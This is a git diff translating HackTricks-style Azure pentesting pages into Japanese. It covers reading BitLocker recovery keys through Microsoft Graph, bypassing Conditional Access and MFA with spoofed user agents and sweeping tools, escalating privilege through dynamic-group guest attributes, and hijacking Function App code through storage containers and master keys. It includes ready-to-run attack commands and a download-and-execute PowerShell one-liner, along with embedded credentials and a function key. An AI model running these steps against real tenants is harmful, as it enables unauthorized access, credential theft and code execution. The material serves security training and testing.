この権限はBitLockerキーにアクセスすることを許可し、攻撃者がドライブを復号化し、データの機密性を侵害する可能性があります。
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
|
||||
# Get key
|
||||
recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
|
||||
## Other Interesting permissions (TODO)
|
||||
## その他の興味深い権限 (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
@@ -355,7 +311,3 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,71 +2,69 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
|
||||
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
|
||||
Azure Conditional Access ポリシーは、特定の **条件** に基づいて Azure サービスやアプリケーションへのアクセス制御を強制するために Microsoft Azure に設定されたルールです。これらのポリシーは、適切な状況下で適切なアクセス制御を適用することにより、組織がリソースを保護するのに役立ちます。\
|
||||
Conditional access policies は基本的に **誰が** **何に** **どこから** **どのように** アクセスできるかを **定義** します。
|
||||
|
||||
Here are a couple of examples:
|
||||
いくつかの例を挙げます:
|
||||
|
||||
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
|
||||
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
|
||||
1. **サインインリスクポリシー**: このポリシーは、サインインリスクが検出された場合に多要素認証 (MFA) を要求するように設定できます。たとえば、ユーザーのログイン行動が通常のパターンと異なる場合、たとえば異なる国からログインしている場合、システムは追加の認証を促すことができます。
|
||||
2. **デバイスコンプライアンスポリシー**: このポリシーは、組織のセキュリティ基準に準拠しているデバイスのみが Azure サービスにアクセスできるように制限できます。たとえば、最新のウイルス対策ソフトウェアがインストールされているデバイスや特定のオペレーティングシステムバージョンを実行しているデバイスからのみアクセスを許可することができます。
|
||||
|
||||
## Conditional Acces Policies Bypasses
|
||||
## Conditional Access Policies Bypasses
|
||||
|
||||
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
|
||||
条件付きアクセス ポリシーが **簡単に改ざんできる情報をチェックしている可能性があり、ポリシーのバイパスを許可する** ことがあります。たとえば、ポリシーが MFA を設定している場合、攻撃者はそれをバイパスできるでしょう。
|
||||
|
||||
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
|
||||
条件付きアクセス ポリシーを設定する際には、**影響を受けるユーザー** と **ターゲットリソース** (すべてのクラウドアプリなど) を指定する必要があります。
|
||||
|
||||
It's also needed to configure the **conditions** that will **trigger** the policy:
|
||||
また、ポリシーを **トリガー** する **条件** を設定する必要があります:
|
||||
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- To bypass login with a not selected option
|
||||
- **Filter for devices**: It’s possible to generate a rule related the used device
|
||||
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
|
||||
- **ネットワーク**: IP、IP 範囲、地理的位置
|
||||
- VPN またはプロキシを使用して国に接続するか、許可された IP アドレスからログインすることでバイパス可能
|
||||
- **Microsoft リスク**: ユーザーリスク、サインインリスク、内部者リスク
|
||||
- **デバイスプラットフォーム**: 任意のデバイスまたは Android、iOS、Windows Phone、Windows、macOS、Linux を選択
|
||||
- 「任意のデバイス」が選択されていないが、他のすべてのオプションが選択されている場合、これらのプラットフォームに関連しないランダムなユーザーエージェントを使用してバイパス可能
|
||||
- **クライアントアプリ**: オプションは「ブラウザ」、「モバイルアプリとデスクトップクライアント」、「Exchange ActiveSync クライアント」および「その他のクライアント」
|
||||
- 選択されていないオプションでログインをバイパスする
|
||||
- **デバイスのフィルタ**: 使用されているデバイスに関連するルールを生成可能
|
||||
- **認証フロー**: オプションは「デバイスコードフロー」と「認証転送」
|
||||
- これは、攻撃者がフィッシング攻撃で被害者のアカウントにアクセスしようとしない限り、影響を与えません
|
||||
|
||||
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
|
||||
可能な **結果** は:ブロックまたはアクセスを許可し、MFA を要求する、デバイスが準拠しているなどの条件が付くことがあります…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
### デバイスプラットフォーム - デバイス条件
|
||||
|
||||
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
|
||||
**デバイスプラットフォーム** (Android、iOS、Windows、macOS...) に基づいて条件を設定することが可能ですが、これは **ユーザーエージェント** に基づいているため、バイパスが容易です。すべてのオプションで MFA を強制しても、**認識されないユーザーエージェント** を使用すれば、MFA またはブロックをバイパスできます:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
|
||||
You can change the user agent **manually** in the developer tools:
|
||||
ブラウザに **不明なユーザーエージェント** (例: `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) を送信させるだけで、この条件をトリガーしないようにできます。\
|
||||
開発者ツールでユーザーエージェントを **手動で** 変更できます:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
 または [このようなブラウザ拡張機能](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en) を使用できます。
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
### ロケーション: 国、IP 範囲 - デバイス条件
|
||||
|
||||
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
|
||||
これが条件付きポリシーに設定されている場合、攻撃者は **許可された国** で **VPN** を使用するか、**許可された IP アドレス** からアクセスする方法を見つけることで、これらの条件をバイパスできます。
|
||||
|
||||
### Cloud Apps
|
||||
### クラウドアプリ
|
||||
|
||||
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
|
||||
特定のアプリにアクセスしようとするユーザーに対して、MFA をブロックまたは強制する **条件付きアクセス ポリシーを設定する** ことが可能です:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To try to bypass this protection you should see if you can **only into any application**.\
|
||||
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
|
||||
|
||||
In order to **test specific application IDs in specific resources** you could also use a tool such as:
|
||||
この保護をバイパスしようとする場合、**任意のアプリケーションにのみログインできるか** を確認する必要があります。\
|
||||
ツール [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) には **ハードコーディングされた数十のアプリケーション ID** があり、それらにログインしようとし、成功した場合はトークンを提供します。
|
||||
|
||||
特定のリソース内の **特定のアプリケーション ID をテストする** ために、次のようなツールを使用することもできます:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
|
||||
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
|
||||
|
||||
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
|
||||
@@ -87,7 +85,6 @@ One Azure MFA option is to **receive a call in the configured phone number** whe
|
||||
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
|
||||
|
||||
Start by registering a **compliant device in Intune**, then **get the PRT** with:
|
||||
|
||||
```powershell
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -97,89 +94,72 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
|
||||
Find more information about this kind of attack in the following page:
|
||||
以下のページでこの種の攻撃に関する詳細情報を見つけてください:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
|
||||
{{#endref}}
|
||||
|
||||
## Tooling
|
||||
## ツール
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
This script get some user credentials and check if it can login in some applications.
|
||||
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
|
||||
|
||||
This is useful to see if you **aren't required MFA to login in some applications** that you might later abuse to **escalate pvivileges**.
|
||||
これは、後で**特権を昇格させるために悪用する可能性のある**いくつかのアプリケーションにログインする際に**MFAが必要ないかどうかを確認する**のに役立ちます。
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Get all the policies
|
||||
|
||||
すべてのポリシーを取得します。
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep is a PowerShell script that attempts to **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Depending on how conditional access policies and other multi-factor authentication settings are configured some protocols may end up being left single factor. It also has an additional check for ADFS configurations and can attempt to log in to the on-prem ADFS server if detected.
|
||||
|
||||
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
|
||||
このツールは、MFAのバイパスを特定し、その後、複数の本番AADテナントでAPIを悪用するのに役立ちました。AADの顧客はMFAが強制されていると信じていましたが、ROPCベースの認証が成功しました。
|
||||
|
||||
> [!TIP]
|
||||
> You need to have permissions to list all the applications to be able to generate the list of the apps to brute-force.
|
||||
|
||||
> ブルートフォースするアプリのリストを生成するには、すべてのアプリケーションをリストする権限が必要です。
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
|
||||
./ropci auth bulk -i apps.csv -o results.json
|
||||
```
|
||||
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token is a set of functions which aim to help security consultants who need to validate Conditional Access Policies, tests for 2FA-enabled Microsoft portals, etc..
|
||||
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントを支援することを目的とした一連の機能です。2FA対応のMicrosoftポータルのテストなど。
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Test each portal** if it's possible to **login without MFA**:
|
||||
|
||||
**各ポータルをテスト**して、**MFAなしでログインできるか**確認します:
|
||||
```powershell
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
|
||||
Because the **Azure** **portal** is **not constrained** it's possible to **gather a token from the portal endpoint to access any service detected** by the previous execution. In this case Sharepoint was identified, and a token to access it is requested:
|
||||
|
||||
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを収集することが可能です**。この場合、Sharepointが特定され、アクセスするためのトークンが要求されます:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
|
||||
Supposing the token has the permission Sites.Read.All (from Sharepoint), even if you cannot access Sharepoint from the web because of MFA, it's possible to use the token to access the files with the generated token:
|
||||
|
||||
トークンが Sites.Read.All (Sharepoint から) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です:
|
||||
```powershell
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,29 +1,28 @@
|
||||
# Az - Dynamic Groups Privesc
|
||||
# Az - ダイナミックグループの特権昇格
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Dynamic groups** are groups that has a set of **rules** configured and all the **users or devices** that match the rules are added to the group. Every time a user or device **attribute** is **changed**, dynamic rules are **rechecked**. And when a **new rule** is **created** all devices and users are **checked**.
|
||||
**ダイナミックグループ**は、設定された一連の**ルール**を持つグループであり、ルールに一致するすべての**ユーザーまたはデバイス**がグループに追加されます。ユーザーまたはデバイスの**属性**が**変更**されるたびに、ダイナミックルールが**再確認**されます。また、**新しいルール**が**作成**されると、すべてのデバイスとユーザーが**確認**されます。
|
||||
|
||||
Dynamic groups can have **Azure RBAC roles assigned** to them, but it's **not possible** to add **AzureAD roles** to dynamic groups.
|
||||
ダイナミックグループには**Azure RBACロール**を割り当てることができますが、ダイナミックグループに**AzureADロール**を追加することは**できません**。
|
||||
|
||||
This feature requires Azure AD premium P1 license.
|
||||
この機能にはAzure ADプレミアムP1ライセンスが必要です。
|
||||
|
||||
## Privesc
|
||||
## 特権昇格
|
||||
|
||||
Note that by default any user can invite guests in Azure AD, so, If a dynamic group **rule** gives **permissions** to users based on **attributes** that can be **set** in a new **guest**, it's possible to **create a guest** with this attributes and **escalate privileges**. It's also possible for a guest to manage his own profile and change these attributes.
|
||||
デフォルトでは、任意のユーザーがAzure ADでゲストを招待できるため、ダイナミックグループの**ルール**が**属性**に基づいてユーザーに**権限**を与える場合、新しい**ゲスト**にこの属性を**設定**して**ゲストを作成**し、**特権を昇格**させることが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。
|
||||
|
||||
Get groups that allow Dynamic membership: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
ダイナミックメンバーシップを許可するグループを取得する: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
|
||||
|
||||
### Example
|
||||
### 例
|
||||
|
||||
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **Rule description**: Any Guest user with a secondary email with the string 'security' will be added to the group
|
||||
|
||||
For the Guest user email, accept the invitation and check the current settings of **that user** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
|
||||
Unfortunately the page doesn't allow to modify the attribute values so we need to use the API:
|
||||
- **ルールの例**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
|
||||
- **ルールの説明**: 文字列 'security' を含む二次メールを持つゲストユーザーはグループに追加されます。
|
||||
|
||||
ゲストユーザーのメールについて、招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)で**そのユーザー**の現在の設定を確認します。\
|
||||
残念ながら、ページでは属性値を変更することができないため、APIを使用する必要があります。
|
||||
```powershell
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
@@ -33,22 +32,17 @@ az ad signed-in-user show
|
||||
|
||||
# Update otherMails
|
||||
az rest --method PATCH \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
|
||||
|
||||
# Verify the update
|
||||
az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,41 +4,38 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Check the following page for more information:
|
||||
詳細については、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Bucket Read/Write
|
||||
### バケットの読み取り/書き込み
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find **different containers** (custom or with pre-defined names) that might contain **the code executed by the function**.
|
||||
関数データを保存するストレージアカウント内のコンテナを読み取る権限があれば、**異なるコンテナ**(カスタムまたは事前定義された名前のもの)を見つけることができ、**関数によって実行されるコード**が含まれている可能性があります。
|
||||
|
||||
Once you find where the code of the function is located if you have write permissions over it you can make the function execute any code and escalate privileges to the managed identities attached to the function.
|
||||
関数のコードがどこにあるかを見つけたら、書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` と `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
The code of the function is usually stored inside a file share. With enough access it's possible to modify the code file and **make the function load arbitrary code** allowing to escalate privileges to the managed identities attached to the Function.
|
||||
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from 
|
||||
関数のコードは通常、ファイル共有内に保存されます。十分なアクセス権があれば、コードファイルを変更して**関数に任意のコードを読み込ませる**ことができ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
|
||||
|
||||
このデプロイメント方法は通常、**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の設定を構成します。これらは以下から取得できます 
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||
これらの設定には、Functionがコードにアクセスするために使用できる**ストレージアカウントキー**が含まれます。
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the File Share and **modify the script** running it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> ファイル共有に接続し、**スクリプトを変更する**のに十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
|
||||
|
||||
The following example uses macOS to connect to the file share, but it's recommended to check also the following page for more info about file shares:
|
||||
以下の例ではmacOSを使用してファイル共有に接続しますが、ファイル共有に関する詳細情報については、次のページも確認することをお勧めします:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
{{#endref}}
|
||||
|
||||
```bash
|
||||
# Username is the name of the storage account
|
||||
# Password is the Storage Account Key
|
||||
@@ -48,50 +45,46 @@ The following example uses macOS to connect to the file share, but it's recommen
|
||||
|
||||
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
It's also common to find the **zip releases** inside the folder `function-releases` of the Storage Account container that the function app is using in a container **usually called `function-releases`**.
|
||||
|
||||
Usually this deployment method will set the `WEBSITE_RUN_FROM_PACKAGE` config in:
|
||||
関数アプリが使用しているストレージアカウントコンテナのフォルダ `function-releases` 内に **zipリリース** が見つかることも一般的です。このコンテナは **通常 `function-releases` と呼ばれます**。
|
||||
|
||||
通常、このデプロイメント方法は次の場所に `WEBSITE_RUN_FROM_PACKAGE` 設定を行います:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
この設定には通常、ストレージアカウントからコードをダウンロードするための**SAS URL**が含まれます。
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in zip** it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
> コードが**zip**形式で含まれているBlobコンテナに接続するための十分な権限があれば、関数内で任意のコードを実行し、特権を昇格させることが可能です。
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
前のケースと同様に、デプロイがGithub Actionsを介して行われる場合、ストレージアカウント内にコードのzipと`WEBSITE_RUN_FROM_PACKAGE`設定内のzipへのSAS URLを含む**`github-actions-deploy`**フォルダを見つけることができます。
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
With permissions to read the containers inside the Storage Account that stores the function data it's possible to find the container **`scm-releases`**. In there it's possible to find the latest release in **Squashfs filesystem file format** and therefore it's possible to read the code of the function:
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`および`WEBSITE_CONTENTSHARE`)
|
||||
|
||||
ストレージアカウント内の関数データを格納するコンテナを読み取る権限があれば、**`scm-releases`**コンテナを見つけることができます。そこには**Squashfsファイルシステムファイル形式**の最新リリースがあり、したがって関数のコードを読むことが可能です。
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--output table
|
||||
|
||||
# List files inside one container
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--output table
|
||||
|
||||
# Download file
|
||||
az storage blob download \
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
--account-name <res-group> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip
|
||||
|
||||
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
|
||||
|
||||
@@ -105,12 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** の **`<app-name>`** フォルダ内に保存されている **master and functions keys** を見つけることも可能です。
|
||||
|
||||
> [!CAUTION]
|
||||
> With enough permission to connect to the blob container that **contains the code in a zip extension file** (which actually is a **`squashfs`**) it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
|
||||
> **zip拡張子のファイル**(実際には **`squashfs`**)にコードが含まれているブロブコンテナに接続するための十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -119,36 +110,30 @@ mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
|
||||
|
||||
# Upload it to the blob storage
|
||||
az storage blob upload \
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
--account-name <storage-account> \
|
||||
--container-name scm-releases \
|
||||
--name scm-latest-<app-name>.zip \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
This permission allows to list the function, master and system keys, but not the host one, of the specified function with:
|
||||
|
||||
この権限は、指定された関数の関数キー、マスターキー、およびシステムキーをリストすることを許可しますが、ホストキーは含まれません。
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
|
||||
With the master key it's also possible to to get the source code in a URL like:
|
||||
|
||||
マスターキーを使用すると、次のようなURLでソースコードを取得することも可能です:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
|
||||
And to **change the code that is being executed** in the function with:
|
||||
|
||||
そして、**関数で実行されているコードを変更する**には:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
